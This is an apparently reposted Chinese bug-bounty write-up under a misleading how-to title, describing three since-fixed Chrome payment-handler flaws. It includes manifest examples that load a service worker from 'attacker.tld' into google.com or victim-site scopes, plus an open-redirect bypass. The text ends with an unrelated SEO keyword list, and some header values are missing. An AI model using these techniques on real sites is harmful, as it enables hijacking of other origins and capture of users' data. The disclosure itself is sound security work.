千家信息网

如何在Chrome中使用即时支付功能

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,这篇文章将为大家详细讲解有关如何在Chrome中使用即时支付功能,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。当时我在研究Chrome支付处理API(
千家信息网最后更新 2026年11月01日如何在Chrome中使用即时支付功能

这篇文章将为大家详细讲解有关如何在Chrome中使用即时支付功能,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

当时我在研究Chrome支付处理API(PaymentHandler API)的时候,我发现了下面这句话:Chrome还支持一个非标准功能,我们将其命名为'及时安装功能'(JIT)。

非常好,这名字一听起来就感觉像存在bug的。所以我赶紧对这个功能的工作机制进行了研究【参考资料】。首先,支付处理API允许支付服务提供商处理发送给他们的支付请求,那支付App的JIT安装功能又是什么呢?具体我就不解释了,请大家接着往下看。

当客户端使用服务器不支持的方法来调用支付请求的时候,也就是下面这样:

new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });

Chrome将会从服务器支持的方法中获取一个特定的URL地址,用于获取地址的页面需要以包含下列响应Header(指向Payment MethodManifest)的响应信息来响应客户端的请求:

Link:;rel="payment-method-manifest"

接下来,Chrome将会获取之前所定义的Payment Method Manifest,文件的大致内容如下所示:

{"default_applications": ["https://example.com/pay/web-app-manifest.json"],"supported_origins": ["https://example.com"] }

然后,Chrome将会获取之前所定义的Web App Manifest,该文件的内容大致如下:

{  "name": "Pay withExample",  ....  "serviceworker": {    "src":"service-worker.js",    "scope":"https://example.com/pay/"  },  ...}

Chrome将会用一个指向"src"和"scope"值的JavaScript文件来注册Service Worker,这里是JIT安装过程中用户可以点击"支付"按钮的一种情况:

幸运的是,页面内的"支付"按钮默认设置为聚焦的,所以我们就可以想办法让目标用户按住回车键3秒钟,这样我们就可以触发JIT安装功能了。你注意到上图中有些什么奇怪的地方了吗?没错,支付App的源似乎来自www.google.com。为什么呢?原来我们可以用Service Worker脚本来指定Web App Manifest中"scope"参数的值,也就是可以设置任意值:

{  "name": "Pay toAttacker",  ....  "serviceworker": {    "src": "https://attacker.tld/service-worker.js",    "scope":"https://www.google.com/"  },  ...}

尽管如此,这里还是存在一些问题,因为Service Worker仍然会存有攻击者网站的源地址,即使攻击者注册的是Google服务范围内的地址。我这里没办法拦截导航/支付请求,但是我可以使用Console API这样的API来进行数据分析,而当用户访问了google.com的控制台之后,Console API可以记录用户的任意数据。

这个漏洞跟UXSS非常相似,但是我没办法成功利用,因为我不应该使用Data URL脚本。当时我将该漏洞上报给Google之后,他们在两天内修复了该漏洞(Chrome 68禁用了JIT安装功能),并提供了5000美金的漏洞奖励。

这个过程中我还注意到了另一个问题,其实我们根本不需要在目标站点内执行脚本来触发JIT安装功能。也就是说,假设攻击者的站点中托管了如下所示的脚本内容:

new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });

Chrome将会获取服务器不支持的方法,响应信息的响应Header如下:

Link:;rel="payment-method-manifest"

接下来,Chrome将会以下列方式获取Payment Method Manifest:

{"default_applications":["https://victim.tld/user-upload/web-app-manifest.json"],"supported_origins": "*" }

现在,Chrome会从目标站点获取Web App Manifest,这个Web App Manifest能够以任意Content-Type或Content-Disposition进行响应。有的人可能会想,"是不是可以用Cross-originNo-CORS来请求一个JSON文件呢?CORB会不会禁用这种请求方式呢?"没错,这种请求响应的确会被屏蔽,

尽管如此,Chrome仍会继续获取上述的Web App Manifest内容:

{  "name": "Pay toAttacker",  ....  "serviceworker": {    "src":"https://victim.tld/user-upload/service-worker.js",    "scope":"https://victim.tld/user-upload/"  },  ...}

Service Worker脚本的Content-Type必须为JavaScript,但如果使用Content-Disposition的话就无所谓了。

总的来说,如果你能够向目标站点上传文件的话,你就可以在不需要执行任何脚本的情况下安装Service Worker了(持久型XSS)。这很明显又是一个漏洞,上报之后我又拿到了3000美金…

所以,第一个漏洞通过检测Web App Manifest、Service Worker脚本和Scope URL是否同源来成功修复,第二个漏洞通过检测Payment Method Manifest和支付App是否在同一网站来成功修复。那么接下来,我们继续尝试Hack!

攻击者的网站调用下列方法:

new PaymentRequest([{ supportedMethods:'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });

Chrome获取不支持的方法兵重定向至攻击者的网站,响应信息的响应Header如下:

Link:;rel="payment-method-manifest"

接下来还是跟之前一样,我们只需要向目标站点上传文件(Payment Method Manifest),如果目标站点开启了开放重定向功能的话,这样就能够绕过所有的安全检测,因为目标站点中的Service Worker并不需要执行任何脚本。

当然了,这个漏洞在两天之后已经修复了,然后我又拿到了3133.7美金(7毛是什么鬼?)。

最后,完整的JIT支付App在Chrome 69中正式上线。

关于如何在Chrome中使用即时支付功能就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

支付 功能 漏洞 脚本 目标 站点 内容 文件 攻击者 方法 支持 攻击 服务 接下来 地址 用户 网站 成功 也就是 信息 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 蓝思科技飞鸽互联网 深圳恒合互联网络科技有限公司 互联网电商科技 涨乐互联网科技 科技互联网公司装修 互联网科技金融 易互联网科技有限公司 卓越科技互联网 招聘 深圳互联网科技怎么样 互联网公司科技股 重庆互联网医院沙龙医盟信息科技 互联网科技革命什么开始 中国科技创新与世界互联网大会 乌鲁木齐新华智原互联网科技学校 朱啸虎曾投资哪些互联网科技企业 伍佰万互联网科技怎么赚钱 广东工业互联网大赛深圳学泰科技 萌小萌互联网科技河南有限公司 西安左小互联网科技有限公司 每日互联网科技新闻 互联网 科技创新 高科技与互联网 亿账通互联网科技 顺网科技2021年互联网排名 海南科技产业互联网平台 哈尔滨新华互联网科技学院 宁夏众和广鑫互联网科技有限公司 中天科技中国工业互联网 科技互联网经济论坛 互联网大会出现的黑科技
0